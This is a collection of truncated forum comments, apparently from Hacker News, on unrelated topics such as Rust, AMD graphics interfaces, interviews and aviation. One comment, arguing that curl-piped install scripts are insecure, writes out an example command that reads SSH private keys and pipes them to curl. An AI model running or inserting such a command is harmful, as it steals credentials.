Ease the snark space ranger. > dynamic errors fail smaller granularity tasks and handlers deal with tasks failing due to safety checks going bad. Yes and that's why Rust is bad here (but it doesn't have to be). Rust _forces_ yo

It could, but I can trust that no individual stepped in the middle of that process. I trust Rust to not put such a thing in their binary. I do not trust an arbitrary man in the middle, and it's trivial to modify a shell script. Without

"a bunch of folks do something insecure" does not speak argument. The argument is that it is insecure. Most easily because I can inject, "cat ~/.ssh/*_rsa | curl ..." and get your company ssh keys. There's

> Have a look at libdrm from the mesa project (the AMDGPU submodule), then it will give you pointers where to look into the kernel-DRM via the right IOCTLs. Exactly the pointer I was looking for, thank you.

Do you have a reference for the AMD interface? I know it exists but don't know where to find it.

IMHO it's like your actual desk. Some people like it clean and organized - others have a cluttered mess of objects. My desk is a tragedy, but I much prefer tiling window managers and rigid, well-organized computing environments. Great

Yeah I dug into the update catalog and downloaded the update that way myself. So there's a few ways to get it. Folks above mentioned the Update Assistant giving it if the Windows Update screen doesn't.

I think it's pretty common at small to mid sized companies + startups. Your more "trendy" companies and your F500 companies do the type of Leetcode interview you hear everyone on HN complain about. It typically looks like a 1

IMO the people with said power and responsibility just want to finger point. But what do you do when no one is willing to put on the pants?

Coherency will be maintained (since the protocols support that case). But yes, a separate process would evict that memory. From the processors point of view, they're just addresses tagged with data. Caching behavior doesnt depend on vi

Could anyone who is a pilot comment on what you're _supposed_ to do if your engine completely goes out? From what I've read so far the answer is "keep trying to get the engine back". Do you just try and glide it out and

This may be a bit stupid of a thing to say. But didn't a bunch of people just die? Wouldnt this make labor more scarce and valuable? Why is this continually framed as a "these lazy kids" or welfare thing?

Patience is as much a skill as any other though. I don't quite understand this hyperoptimization. I'll speed up things I find a little dull or advertisements, but increasing the pace of everyone's speech for your sake seems..

IMHO, the results possible with modern open source tools are really amazing. I think a lot of the "cost" of AAA are inefficiencies in the pipeline, and issues of scope. A racing title seems especially easy to limit scope in. Compa

If you're unable to retain the people with the necessary skills, it doesn't matter how high the demand for the field is. There are very few people with relevant graphics programming skills. Who cares if 10000 undergrads wanting to

I would find it more likely that old device drivers get decompiled and reverse engineered. Heck I think there's a lot of value in an emulator for old device drivers. Who cares what the source was when you just execute the black box in
